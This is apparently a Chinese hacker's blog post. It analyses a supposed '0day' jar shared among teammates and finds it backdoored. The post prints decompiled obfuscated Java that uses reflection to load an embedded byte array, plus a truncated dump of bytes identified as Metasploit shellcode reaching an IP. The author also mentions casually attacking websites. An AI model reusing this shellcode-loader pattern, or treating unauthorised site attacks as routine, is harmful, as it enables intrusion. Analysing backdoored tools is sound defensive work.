0x00前言
昨天正在日站,一顿输出,error,关站,waf,gg
于是摸会鱼,在微信里,发现团队小伙伴发了一个0day
解压后,一堆dll,其中有个jar包
于是乎
打开idea,添加到lib as lib
就可以看反编译后的代码了,或者使用jd-gui也可以
主要代码在pwnAction
创建一个进程执行命令,不知道具体是干什么的,参数加密了
再往下,900多行的字节数组,
变量传给var4,var4 又在var14 objectd数组里,具体不清楚干什么了,但明显知道,下面这段代码用了反射
Class var5;
Class var12;
label16: {
try {
var5 = Class.forName(var3);
} catch (ClassNotFoundException var9) {
byte[] var7 = dump();
var12 = var5 = var1.defineClass(var3, var7, 0, var7.length);
break label16;
}
var12 = var5;
String var10001 = CommandLineParser.ALLATORIxDEMO("V\u0011\\\u000fi\u0013V\u0002\\\u0012J");
Class[] var13 = new Class[1];
boolean var10004 = true;
var13[0] = Integer.TYPE;
Method var6 = var12.getDeclaredMethod(var10001, var13);
var6.setAccessible(true);
Object[] var14 = new Object[1];
var10004 = true;
var14[0] = var2;
long var11 = (Long)var6.invoke((Object)null, var14);
var10001 = CommandLineParser.ALLATORIxDEMO("\\\u000fH\u0014\\\u0014\\");
var13 = new Class[5];
var10004 = true;
var13[0] = Long.TYPE;
var13[1] = byte[].class;
var13[2] = String.class;
var13[3] = String.class;
var13[4] = Object[].class;
Method var10 = var5.getDeclaredMethod(var10001, var13);
var10.setAccessible(true);
var14 = new Object[5];
var10004 = true;
var14[0] = var11;
var14[1] = var4;
var14[2] = null;
var14[3] = null;
Object[] var10005 = new Object[0];
boolean var10007 = true;
var14[4] = var10005;
var10.invoke((Object)null, var14);
}
于是找gpt生成一个javashellcode加载器
上面代码中的shelloce 就是上面的字节数组,invoke var14,var14中有var4,var4则为字节数组,那么可猜测pwnaction的关键代码分别是shellcode和加载器
将字节数组拿出来,转换一下
import java.io.*;
import java.util.Scanner;
public class test {
public static void main(String[] args) throws IOException {
byte[] var10000 = new byte[926];
var10000[0] = -4;
var10000[1] = 72;
var10000[2] = -125;
var10000[3] = -28;
var10000[4] = -16;
var10000[5] = -24;
var10000[6] = -56;
var10000[7] = 0;
var10000[8] = 0;
. . . . . .
var10000[920] = 55;
var10000[921] = 0;
var10000[922] = 58;
var10000[923] = -34;
var10000[924] = 104;
var10000[925] = -79;
FileOutputStream outputStream = null;
try {
outputStream = new FileOutputStream("test.class");
outputStream.write(var10000);
} catch (IOException e) {
e.printStackTrace();
} finally {
if (outputStream != null) {
try {
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
使用记事本打开class文件,存在一个ip
用16进制打开看一下,\xFC\x48\x83\xE4,学过免杀的小伙伴应该已经猜到了,这是msf的码子
微步查看
然后看一下jar包,也爆出远控。
,由此可见,确实有些问题。